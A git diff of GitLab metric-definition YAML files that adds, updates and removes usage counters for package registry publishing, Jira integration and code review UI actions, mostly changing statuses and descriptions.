@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_generic_user_weekly
+description: A weekly count of users that have published a generic package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: broken
+repair_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331455
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml b/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml
new file mode 100644
index 00000000000..e7c354fdbf6
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_golang_user_weekly
+description: A weekly count of users that have published a Go module to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml b/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml
new file mode 100644
index 00000000000..8ee42570d49
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_maven_user_weekly
+description: A weekly count of users that have published a Maven package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml b/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml
new file mode 100644
index 00000000000..29dd1a69cf0
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_npm_user_weekly
+description: A weekly count of users that have published an npm package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml b/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml
new file mode 100644
index 00000000000..5a4e18afa15
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_nuget_user_weekly
+description: A weekly count of users that have published a NuGet package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml b/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml
new file mode 100644
index 00000000000..ebb116c53a6
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_pypi_user_weekly
+description: A weekly count of users that have published a Python package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml b/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml
new file mode 100644
index 00000000000..02a8c435a35
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_tag_user_weekly
+description: A weekly count of users that have published a package with a tag to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..f262cb31b68
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.user_packages_total_unique_counts_weekly
+description: A weekly count of users that have published a package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml b/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml
new file mode 100644
index 00000000000..e3a8d4b4b8e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_weekly
+description: Number of users closing Jira issues by week
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml b/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml
new file mode 100644
index 00000000000..91edf718033
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_weekly
+description: Number of users that cross-referenced Jira issues by week
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..71a7c0ebbf1
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ecosystem.ecosystem_total_unique_counts_weekly
+description: Number of users performing actions on Jira issues by week
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml b/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
index ec3258babd5..c0bd8b6b224 100644
--- a/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_weekly
-description: Distinct RubyGems pakages deployed in recent 7 days
+description: A weekly count of distinct RubyGems packages published using a deploy token
product_section: ops
product_stage: package
product_group: group::package
diff --git a/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml b/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
index 57d8f3b9457..4935d036846 100644
--- a/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
+++ b/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.user_packages.i_package_rubygems_user_weekly
-description: Distinct user count events for RubyGems packages in recent 7 days
+description: A weekly count of distinct RubyGems packages published by a user
product_section: ops
product_stage: package
product_group: group::package
@@ -18,4 +18,3 @@ tier:
- free
- premium
- ultimate
-
diff --git a/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
index c510d544426..5516ee24fc3 100644
--- a/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
@@ -6,7 +6,7 @@ product_stage: secure
product_group: group::static analysis
product_category: dependency_scanning
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
index 5b714b49bd8..2cca9adda79 100644
--- a/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: code_quality
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
index b8fdf90bb41..05448c69986 100644
--- a/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: accessibility_testing
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml b/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
index 7fedcc5f05d..2e97e1fae31 100644
--- a/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml b/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
index 49d8ad20126..1e7b666ff8f 100644
--- a/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
+++ b/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
index f44347f5159..60dfc6980b7 100644
--- a/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
+++ b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: testing
value_type: number
-status: implemented
+status: data_available
milestone: "13.11"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59316
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml b/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
index 179d2fa6e47..050ca64f03c 100644
--- a/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml b/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
index 50264bf27cf..eb73d4841b4 100644
--- a/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml b/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
index 3206bac8b49..4159716f919 100644
--- a/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml b/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
index 7a3a606c886..0c53c7733b1 100644
--- a/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
+++ b/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml b/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
index 36dbeae82e7..3d956eea357 100644
--- a/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
+++ b/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml b/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
index ef74ff6613f..97067bcc02f 100644
--- a/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
+++ b/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml b/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
index e2b9f141bb7..094d2ee6ce8 100644
--- a/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
+++ b/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml b/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
index 6cca3840faa..c58b03ce909 100644
--- a/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
+++ b/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml b/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
index c1fccc9f774..b0a04b9bff5 100644
--- a/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
+++ b/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml b/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
index 3b1abf6e0e1..64f3f452d79 100644
--- a/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
+++ b/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml b/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
index b3105b041f8..fe0bd0ba906 100644
--- a/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
+++ b/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml b/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
index 31b36bc8ad7..eb1a803ad08 100644
--- a/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml b/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
index aaf9350cdaa..efed507fca3 100644
--- a/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml b/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
index ded67e19e10..0452b4a418b 100644
--- a/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
index 7f782d90f8d..da3b2f7bccd 100644
--- a/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml b/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml
new file mode 100644
index 00000000000..0ab87e2917e
--- /dev/null
+++ b/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml
@@ -0,0 +1,21 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_weekly
+name: load_conflict_ui
+description: Count of unique users per week who load the conflict resolution page
+product_section:
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: "13.12"
+time_frame: 7d
+data_source: redis_hll
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61654
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml b/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml
new file mode 100644
index 00000000000..417483200e3
--- /dev/null
+++ b/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml
@@ -0,0 +1,21 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_user_resolve_conflict_weekly
+name: resolve_conflict
+description: Count of unique users per week who attempt to resolve a conflict through the ui
+product_section:
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: "13.12"
+time_frame: 28d
+data_source: redis_hll
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61654
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml b/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml
new file mode 100644
index 00000000000..3f1e1badc6e
--- /dev/null
+++ b/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_weekly
+description: Distinct Helm pakages deployed in recent 7 days
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml b/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml
new file mode 100644
index 00000000000..1ebc70f497c
--- /dev/null
+++ b/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_helm_user_weekly
+description: Distinct user count events for Helm packages in recent 7 days
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml b/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml
new file mode 100644
index 00000000000..6d7f47cede4
--- /dev/null
+++ b/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_click_diff_view_setting_weekly
+description: Count of users clicking diff view setting
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: '13.12'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_all/20210216174826_ldap_users.yml b/config/metrics/counts_all/20210216174826_ldap_users.yml
deleted file mode 100644
index 34892c7ce90..00000000000
--- a/config/metrics/counts_all/20210216174826_ldap_users.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.ldap_users
-description: Number of users that are linked to LDAP
-product_section: dev
-product_stage: manage
-product_group: group::access
-product_category: authentication_and_authorization
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml b/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
index 77baa673bb2..ce8674574f2 100644
--- a/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
+++ b/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
@@ -1,6 +1,6 @@
---
key_path: counts.cycle_analytics_views
-description:
+description: Total visits to VSA (both group- and project-level) all time
product_section: dev
product_stage: manage
product_group: group::optimize
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml b/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
index 3b2561bae52..9f778fb4324 100644
--- a/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml
@@ -3,10 +3,11 @@ key_path: counts.projects_with_prometheus_alerts
description: Projects with Prometheus alerting enabled
product_section: ops
product_stage: monitor
-product_group: group::apm
+product_group: group::monitor
product_category: metrics
value_type: number
-status: data_available
+status: removed
+milestone_removed: '14.0'
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml b/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
index ad9a52c7ee7..d0bfba1cae2 100644
--- a/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
+++ b/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml
@@ -3,10 +3,11 @@ key_path: counts.pod_logs_usages_total
description: Count the total number of log views
product_section: ops
product_stage: monitor
-product_group: group::apm
+product_group: group::monitor
product_category: logging
value_type: number
-status: data_available
+status: removed
+milestone_removed: '14.0'
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml b/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
index 8e1129883ae..e9a534911bb 100644
--- a/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
+++ b/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml
@@ -14,4 +14,3 @@ distribution:
- ee
tier:
- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175026_service_desk_issues.yml b/config/metrics/counts_all/20210216175026_service_desk_issues.yml
index b852ae8b62f..299fbfa3b7f 100644
--- a/config/metrics/counts_all/20210216175026_service_desk_issues.yml
+++ b/config/metrics/counts_all/20210216175026_service_desk_issues.yml
@@ -14,4 +14,3 @@ distribution:
- ee
tier:
- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175028_requirements_created.yml b/config/metrics/counts_all/20210216175028_requirements_created.yml
deleted file mode 100644
index 74780f43c5a..00000000000
--- a/config/metrics/counts_all/20210216175028_requirements_created.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.requirements_created
-description: Count of requirements created
-product_section: dev
-product_stage: plan
-product_group: group::certify
-product_category: requirements_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml b/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
index ac4a31a5a08..0edd5cf3bbc 100644
--- a/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml
@@ -6,7 +6,8 @@ product_stage:
product_group: group::configure
product_category: kubernetes_management
value_type: number
-status: data_available
+status: removed
+milestone_removed: '14.0'
time_frame: all
data_source:
distribution:
